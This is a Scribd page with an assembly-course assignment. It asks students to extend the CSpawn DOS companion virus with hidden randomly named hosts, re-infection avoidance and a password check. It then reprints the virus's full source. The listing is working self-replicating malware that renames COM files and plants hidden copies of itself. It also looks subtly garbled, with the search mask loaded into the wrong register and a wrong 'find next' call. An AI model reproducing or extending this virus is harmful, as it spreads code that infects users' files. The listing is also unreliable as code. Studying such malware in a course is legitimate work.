Scribd
Upload
5 views5 pages

Assembly Task

The document outlines implementation requirements for a project involving the x8086 processor, mandating the use of specific instructions and the creation of new procedures by each team member. It details tasks to modify an existing virus routine to rename the host file and add a password protection feature for execution. The document also includes a sample code for a simple companion virus, CSpawn, demonstrating its functionality and structure.

Uploaded by

wtfashr
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd
5 views5 pages

Assembly Task

The document outlines implementation requirements for a project involving the x8086 processor, mandating the use of specific instructions and the creation of new procedures by each team member. It details tasks to modify an existing virus routine to rename the host file and add a password protection feature for execution. The document also includes a sample code for a simple companion virus, CSpawn, demonstrating its functionality and structure.

Uploaded by

wtfashr
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd
You are on page 1/ 5

Implementation requirements (all mandatory)

• use only instructions for the x8086 processors on 16 bits

• implement at least 1 new procedure for each team member (the procedure must receive
at least 1 input arguments (pointers or values) on stack and must return a result by the
stack orby a register – NO global variables

• no compiler errors with TASM or TLINK

For the task:

1. Rewrite the INFECT_FILE routine to give the host a random name and make it a
hidden file. Furthermore, make the viral program visible, but make sure you
come up with a strategy to avoid re-infection at the level of the FIND_FILES
routine so that INFECT_FILE is never even called to infect something that should
not be infected.
2. Add a routine to CSpawn which will demand a password before executing the
host and will exit without executing the host if it doesn’t get the right password.
You can hard-code the required password. The password will be different for
each infected file and will be generated based on the host name (you can
choose the pattern)

The SPAWNR Virus Listing

The following virus can be assembled into a COM file by MASM, TASM, or A86 and executed
directly.

; The CSpawn virus is a simple companion virus to illustrate how a companion virus works.
; (C) 1994 American Eagle Publications, Inc. All Rights Reserved!

.model tiny

.code

org 0100h

CSpawn:

mov sp,OFFSET FINISH + 100H ; Change top of stack


mov ah,4AH ; DOS resize memory fctn

mov bx,sp

mov cl,4

shr bx,cl

inc bx ; BX = # of para to keep

int 21H

mov bx,2CH ; set up EXEC param block

mov ax,[bx]

mov WORD PTR [PARAM_BLK],ax ; environment segment

mov ax,cs

mov WORD PTR [PARAM_BLK+4],ax ; # of parameter string

mov WORD PTR [PARAM_BLK+8],ax ; # of FCB1

mov WORD PTR [PARAM_BLK+12],ax ; # of FCB2

mov dx,OFFSET REAL_NAME ; prep to EXEC

COMPANION VIRUSES

mov bx,OFFSET PARAM_BLK

mov ax,4B00H

int 21H ;execute host

cli

mov bx,ax ;save return code here

mov ax,cs ;AX holds code segment

mov ss,ax ;restore stack first


mov sp,(FINISH - CSpawn) + 200H

sti

push bx

mov ds,ax ;Restore data segment

mov es,ax ;Restore extra segment

mov ah,1AH ;DOS set DTA function

mov dx,80H ;put DTA at offset 80H

int 21H

call FIND_FILES ;Find and infect files

pop ax ;AL holds return value

mov ah,4CH ;DOS terminate function

int 21H ;bye-bye

; The following routine searches for COM files and infects them

FIND_FILES:

mov bx,OFFSET COM_MASK ; search for COM files

mov ah,4EH ; DOS find first file function

xor cx,cx ; CX holds all file attributes

int 21h

FIND_LOOP:

jc FIND_DONE ; Exit if no files found

call INFECT_FILE ; Infect the file!

mov ah,4EH ; DOS find next file function

jmp FIND_LOOP ; Try finding another file

FIND_DONE:

ret ; Return to caller


COM_MASK db '*.COM',0 ; COM file search mask

; This routine infects the file specified in the DTA.

INFECT_FILE:

mov si,9EH ; DTA + 1EH

mov di,OFFSET REAL_NAME ; DI points to new name

INF_LOOP:

lodsb ; load a character

stosb ; and save it in buffer

or al,al ;is it a NULL?

jnz INF_LOOP ; if so then leave the loop

mov WORD PTR [di-2] , 'N' ;change name to CON & add 0
mov dx,9EH ;DTA + 1EH
mov di,OFFSET REAL_NAME
mov ah,56H ;rename original file
int 21H

jc INF_EXIT ; if can't rename, already done

mov ah,3CH ; DOS create file function

mov cx,2 ; set hidden attribute

int 21H

mov bx,ax ; BX holds file handle

mov ah,40H ; DOS write to file function

mov cx,FINISH - CSpawn ; CX holds virus length

mov dx,OFFSET CSpawn ; DX points to CSpawn of virus

int 21H
mov ah,3EH ; DOS close file function

int 21h

INF_EXIT:

ret

REAL_NAME db 13 dup (?) ; Name of host to execute

; DOS EXEC function parameter block

PARAM_BLK DW ? ; environment segment

DD 80H ; # of command line

DD 5CH ; # of first PCB

DD 6CH ; # of second PCB

FINISH:

end CSpawn

You might also like